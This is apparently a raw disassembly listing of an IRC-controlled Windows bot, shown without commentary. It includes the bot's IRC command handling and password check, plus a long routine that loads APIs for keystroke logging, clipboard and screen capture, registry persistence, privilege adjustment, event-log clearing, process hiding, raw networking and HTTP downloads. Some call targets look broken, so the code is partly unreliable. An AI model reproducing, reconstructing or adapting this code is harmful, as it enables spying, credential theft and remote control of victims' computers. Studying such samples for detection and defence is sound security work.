		push	offset dword_42A2EC
		push	[ebp+arg_4]
		call	sub_40981C
		push	esi
		push	offset unk_429D20
		jmp	loc_408A7D
; ---------------------------------------------------------------------------


loc_409526:				; CODE XREF: sub_401AC7+3D5Bj
					; sub_401AC7+3D72j
		push	edi
		push	offset dword_42A250
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		push	offset unk_429D00
		jmp	loc_408A7D
; ---------------------------------------------------------------------------


loc_40953F:				; CODE XREF: sub_401AC7+3D2Dj
					; sub_401AC7+3D44j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		push	offset unk_429CE0
		jmp	loc_408954
; ---------------------------------------------------------------------------


loc_40955F:				; CODE XREF: sub_401AC7+3CFFj
					; sub_401AC7+3D16j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		push	offset unk_429CBC
		jmp	loc_408A7D
; ---------------------------------------------------------------------------


loc_409578:				; CODE XREF: sub_401AC7+3152j
					; sub_401AC7+3169j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C9C
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		push	edi
		call	sub_41BEF9
		add	esp, 1Ch


loc_4095AC:				; CODE XREF: sub_401AC7+7B2Dj
		push	eax
		call	near ptr 2670EE1h
		nop


loc_4095B3:				; CODE XREF: sub_401AC7+2A6Fj
		xor	eax, eax
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_4095BA:				; CODE XREF: sub_401AC7+3124j
					; sub_401AC7+313Bj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C74
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		push	edi
		call	sub_41BEF9
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_4095AC
; ---------------------------------------------------------------------------


loc_4095F6:				; CODE XREF: sub_401AC7+EA0j
					; sub_401AC7+EB5j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_429098
		push	eax
		call	sub_40AE77
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C50
		call	sub_415D62


loc_409640:				; CODE XREF: sub_401AC7+5206j
		add	esp, 24h


loc_409643:				; CODE XREF: sub_401AC7+63Aj
					; sub_401AC7+646j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_40964B:				; CODE XREF: sub_401AC7+A8Dj
					; sub_401AC7+AA0j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F6C
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F6C
		push	offset asc_42CDC8 ; "!"
		push	[ebp+var_90]
		call	sub_41C864
		mov	esi, eax
		push	offset word_4C91BC
		push	ebx
		inc	esi
		call	sub_41C864
		push	offset asc_429C4C ; "~"
		push	eax
		call	sub_41C864
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C7E0
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096E1
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		push	esi
		push	offset unk_429BCC
		jmp	short loc_40973D
; ---------------------------------------------------------------------------


loc_4096E1:				; CODE XREF: sub_401AC7+7BDFj
		mov	[ebp+arg_24], offset off_429160


loc_4096E8:				; CODE XREF: sub_401AC7+7C3Dj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B706
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409751
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jl	short loc_4096E8
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		push	esi
		push	offset unk_429B78


loc_40973D:				; CODE XREF: sub_401AC7+7C18j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 30h
		jmp	loc_40830C
; ---------------------------------------------------------------------------


loc_409751:				; CODE XREF: sub_401AC7+7C30j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409756:				; CODE XREF: sub_401AC7+7CB9j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F6C
		cmp	[edi], bl
		jnz	short loc_409776
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409787


loc_409776:				; CODE XREF: sub_401AC7+7C9Aj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409756
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_409787:				; CODE XREF: sub_401AC7+7CADj
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BD70
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BE
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B58
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_4097BE:				; CODE XREF: sub_401AC7+7CDBj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B38


loc_4097CA:				; CODE XREF: sub_401AC7+592j
					; sub_401AC7+286Fj ...
		call	sub_415D62


loc_4097CF:				; CODE XREF: sub_401AC7+1B74j
		pop	ecx


loc_4097D0:				; CODE XREF: sub_401AC7+24E7j
		pop	ecx
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_4097D6:				; CODE XREF: sub_401AC7+20Ej
					; sub_401AC7+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		add	esp, 2Ch
		mov	dword_4C91B4, edi
		jmp	loc_401D64
sub_401AC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40981C	proc near		; CODE XREF: sub_40194F+3Dp
					; sub_401AC7+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C900
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		leave
		retn
sub_40981C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409862	proc near		; CODE XREF: sub_401AC7+503p
					; sub_401AC7+1341p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40987D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40987D:				; CODE XREF: sub_409862+14j
		push	edi
		call	sub_41B960
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B960
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C006
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_4098FB
		push	7D0h
		call	near ptr 2670EE1h
		nop

locret_4098FB:				; CODE XREF: sub_409862+8Cj
		leave
		retn
sub_409862	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098FD	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270AC
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270CC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A1D
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4C93B0, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4C9324, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4C9308, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4C9218, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4C91C4, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4C91F4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4C926C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4C9364, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4C93C0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4C9224, eax
		call	esi
		cmp	dword_4C93B0, ebx
		mov	dword_4C920C, eax
		jz	short loc_4099FB
		cmp	dword_4C9324, ebx
		jz	short loc_4099FB
		cmp	dword_4C9308, ebx
		jz	short loc_4099FB
		cmp	dword_4C9218, ebx
		jz	short loc_4099FB
		cmp	dword_4C91F4, ebx
		jz	short loc_4099FB
		cmp	dword_4C926C, ebx
		jz	short loc_4099FB
		cmp	dword_4C9364, ebx
		jz	short loc_4099FB
		cmp	dword_4C93C0, ebx
		jz	short loc_4099FB
		cmp	dword_4C9224, ebx
		jz	short loc_4099FB
		cmp	eax, ebx
		jnz	short loc_409A05


loc_4099FB:				; CODE XREF: sub_4098FD+B8j
					; sub_4098FD+C0j ...
		mov	dword_4C93C4, 1


loc_409A05:				; CODE XREF: sub_4098FD+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4C933C, eax
		jz	short loc_409A32
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A32
; ---------------------------------------------------------------------------


loc_409A1D:				; CODE XREF: sub_4098FD+1Dj
		call	near ptr 26807F9h
		nop
		mov	dword_4C93C8, eax
		mov	dword_4C93C4, 1


loc_409A32:				; CODE XREF: sub_4098FD+117j
					; sub_4098FD+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B47
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4C9360, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4C9310, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4C92A4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4C93B4, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4C92D4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4C92F4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4C9358, eax
		call	esi
		cmp	dword_4C9360, ebx
		mov	dword_4C9244, eax
		jz	short loc_409AEB
		cmp	dword_4C9310, ebx
		jz	short loc_409AEB
		cmp	dword_4C92A4, ebx
		jz	short loc_409AEB
		cmp	dword_4C93B4, ebx
		jz	short loc_409AEB
		cmp	dword_4C92D4, ebx
		jz	short loc_409AEB
		cmp	dword_4C92F4, ebx
		jz	short loc_409AEB
		cmp	dword_4C9358, ebx
		jz	short loc_409AEB
		cmp	eax, ebx
		jnz	short loc_409AF5


loc_409AEB:				; CODE XREF: sub_4098FD+1B8j
					; sub_4098FD+1C0j ...
		mov	dword_4C93CC, 1


loc_409AF5:				; CODE XREF: sub_4098FD+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4C92D0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4C91D8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4C92A0, eax
		call	esi
		cmp	dword_4C92D0, ebx
		mov	dword_4C9288, eax
		jz	short loc_409B52
		cmp	dword_4C91D8, ebx
		jz	short loc_409B52
		cmp	dword_4C92A0, ebx
		jz	short loc_409B52
		cmp	eax, ebx
		jnz	short loc_409B5C
		jmp	short loc_409B52
; ---------------------------------------------------------------------------


loc_409B47:				; CODE XREF: sub_4098FD+144j
		nop
		call	near ptr 26807F9h
		mov	dword_4C93D0, eax


loc_409B52:				; CODE XREF: sub_4098FD+232j
					; sub_4098FD+23Aj ...
		mov	dword_4C93CC, 1


loc_409B5C:				; CODE XREF: sub_4098FD+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D15
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4C9374, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4C92B8, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4C9328, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4C9204, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4C9268, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4C92E0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4C9284, eax
		call	esi
		cmp	dword_4C9374, ebx
		mov	dword_4C9294, eax
		jz	short loc_409C05
		cmp	dword_4C92B8, ebx
		jz	short loc_409C05
		cmp	dword_4C9328, ebx
		jz	short loc_409C05
		cmp	dword_4C9204, ebx
		jz	short loc_409C05
		cmp	dword_4C9268, ebx
		jz	short loc_409C05
		cmp	dword_4C92E0, ebx
		jnz	short loc_409C0F


loc_409C05:				; CODE XREF: sub_4098FD+2DEj
					; sub_4098FD+2E6j ...
		mov	dword_4C93D4, 1


loc_409C0F:				; CODE XREF: sub_4098FD+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4C92E8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4C92C0, eax
		call	esi
		cmp	dword_4C92E8, ebx
		mov	dword_4C9370, eax
		jz	short loc_409C4A
		cmp	dword_4C92C0, ebx
		jz	short loc_409C4A
		cmp	eax, ebx
		jnz	short loc_409C54


loc_409C4A:				; CODE XREF: sub_4098FD+33Fj
					; sub_4098FD+347j
		mov	dword_4C93D4, 1


loc_409C54:				; CODE XREF: sub_4098FD+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4C92F8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4C91E0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4C91E8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4C924C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4C9250, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4C91FC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4C92C4, eax
		call	esi
		cmp	dword_4C92F8, ebx
		mov	dword_4C91EC, eax
		jz	short loc_409CF8
		cmp	dword_4C91E0, ebx
		jz	short loc_409CF8
		cmp	dword_4C91E8, ebx
		jz	short loc_409CF8
		cmp	dword_4C924C, ebx
		jz	short loc_409CF8
		cmp	dword_4C9250, ebx
		jz	short loc_409CF8
		cmp	dword_4C91FC, ebx
		jz	short loc_409CF8
		cmp	dword_4C92C4, ebx
		jz	short loc_409CF8
		cmp	eax, ebx
		jnz	short loc_409D02


loc_409CF8:				; CODE XREF: sub_4098FD+3C5j
					; sub_4098FD+3CDj ...
		mov	dword_4C93D4, 1


loc_409D02:				; CODE XREF: sub_4098FD+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4C91E4, eax
		jnz	short loc_409D2A
		jmp	short loc_409D20
; ---------------------------------------------------------------------------


loc_409D15:				; CODE XREF: sub_4098FD+26Aj
		nop
		call	near ptr 26807F9h
		mov	dword_4C93D8, eax


loc_409D20:				; CODE XREF: sub_4098FD+416j
		mov	dword_4C93D4, 1


loc_409D2A:				; CODE XREF: sub_4098FD+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409DF6
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4C92F0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4C9348, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4C9350, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4C930C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4C9228, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4C91D4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4C934C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4C91C0, eax
		call	esi
		cmp	dword_4C92F0, ebx
		mov	dword_4C9260, eax
		jz	short loc_409E01
		cmp	dword_4C9348, ebx
		jz	short loc_409E01
		cmp	dword_4C9350, ebx
		jz	short loc_409E01
		cmp	dword_4C930C, ebx
		jz	short loc_409E01
		cmp	dword_4C9228, ebx
		jz	short loc_409E01
		cmp	dword_4C91D4, ebx
		jz	short loc_409E01
		cmp	dword_4C934C, ebx
		jz	short loc_409E01
		cmp	dword_4C91C0, ebx
		jz	short loc_409E01
		cmp	eax, ebx
		jnz	short loc_409E0B
		jmp	short loc_409E01
; ---------------------------------------------------------------------------


loc_409DF6:				; CODE XREF: sub_4098FD+438j
		nop
		call	near ptr 26807F9h
		mov	dword_4C93E0, eax


loc_409E01:				; CODE XREF: sub_4098FD+4B9j
					; sub_4098FD+4C1j ...
		mov	dword_4C93DC, 1


loc_409E0B:				; CODE XREF: sub_4098FD+4F5j
		mov	ebp, dword_4270C8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0C7
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4C9274, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4C93A8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4C9214, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4C91F0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4C92B0, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4C9298, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4C925C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4C9384, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4C93A0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4C92AC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4C9390, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4C9344, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4C9304, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4C9300, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4C9234, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4C922C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4C9354, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4C9368, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4C931C, eax
		call	esi
		mov	dword_4C92DC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4C9330, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4C92EC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4C932C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4C9398, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4C92E4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4C92A8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4C9318, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4C9388, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4C92BC, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4C9258, eax
		call	esi
		cmp	dword_4C9274, ebx
		mov	dword_4C939C, eax
		jz	loc_40A0D2
		cmp	dword_4C93A8, ebx
		jz	loc_40A0D2
		cmp	dword_4C9214, ebx
		jz	loc_40A0D2
		cmp	dword_4C92B0, ebx
		jz	loc_40A0D2
		cmp	dword_4C9298, ebx
		jz	loc_40A0D2
		cmp	dword_4C925C, ebx
		jz	loc_40A0D2
		cmp	dword_4C9384, ebx
		jz	loc_40A0D2
		cmp	dword_4C93A0, ebx
		jz	loc_40A0D2
		cmp	dword_4C92AC, ebx
		jz	loc_40A0D2
		cmp	dword_4C9390, ebx
		jz	loc_40A0D2
		cmp	dword_4C9344, ebx
		jz	loc_40A0D2
		cmp	dword_4C9304, ebx
		jz	loc_40A0D2
		cmp	dword_4C9300, ebx
		jz	loc_40A0D2
		cmp	dword_4C9234, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9354, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9368, ebx
		jz	short loc_40A0D2
		cmp	dword_4C931C, ebx
		jz	short loc_40A0D2
		cmp	dword_4C92DC, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9330, ebx
		jz	short loc_40A0D2
		cmp	dword_4C92EC, ebx
		jz	short loc_40A0D2
		cmp	dword_4C932C, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9398, ebx
		jz	short loc_40A0D2
		cmp	dword_4C92E4, ebx
		jz	short loc_40A0D2
		cmp	dword_4C92A8, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9318, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9388, ebx
		jz	short loc_40A0D2
		cmp	dword_4C92BC, ebx
		jz	short loc_40A0D2
		cmp	eax, ebx
		jnz	short loc_40A0DC
		jmp	short loc_40A0D2
; ---------------------------------------------------------------------------


loc_40A0C7:				; CODE XREF: sub_4098FD+51Fj
		nop
		call	near ptr 26807F9h
		mov	dword_4C93E8, eax


loc_40A0D2:				; CODE XREF: sub_4098FD+6BEj
					; sub_4098FD+6CAj ...
		mov	dword_4C93E4, 1


loc_40A0DC:				; CODE XREF: sub_4098FD+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1E1
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4C9240, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4C91C8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4C92CC, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4C9278, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4C92D8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4C929C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4C9208, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4C9200, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4C9210, eax
		call	esi
		cmp	dword_4C9240, ebx
		mov	ecx, dword_4C929C
		mov	dword_4C9338, eax
		jz	short loc_40A1BD
		cmp	dword_4C91C8, ebx
		jz	short loc_40A1BD
		cmp	dword_4C92CC, ebx
		jz	short loc_40A1BD
		cmp	dword_4C9278, ebx
		jz	short loc_40A1BD
		cmp	dword_4C92D8, ebx
		jz	short loc_40A1BD
		cmp	ecx, ebx
		jz	short loc_40A1BD
		cmp	dword_4C9208, ebx
		jz	short loc_40A1BD
		cmp	dword_4C9200, ebx
		jz	short loc_40A1BD
		cmp	dword_4C9210, ebx
		jz	short loc_40A1BD
		cmp	eax, ebx
		jnz	short loc_40A1C7


loc_40A1BD:				; CODE XREF: sub_4098FD+87Ej
					; sub_4098FD+886j ...
		mov	dword_4C93EC, 1


loc_40A1C7:				; CODE XREF: sub_4098FD+8BEj
		cmp	ecx, ebx
		jz	short loc_40A1FC
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4C92B4, eax
		jnz	short loc_40A1FC
		jmp	short loc_40A1F6
; ---------------------------------------------------------------------------


loc_40A1E1:				; CODE XREF: sub_4098FD+7EAj
		call	near ptr 26807F9h
		nop
		mov	dword_4C93F0, eax
		mov	dword_4C93EC, 1


loc_40A1F6:				; CODE XREF: sub_4098FD+8E2j
		mov	dword_4C92B4, ebx


loc_40A1FC:				; CODE XREF: sub_4098FD+8CCj
					; sub_4098FD+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A246
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4C928C, eax
		call	esi
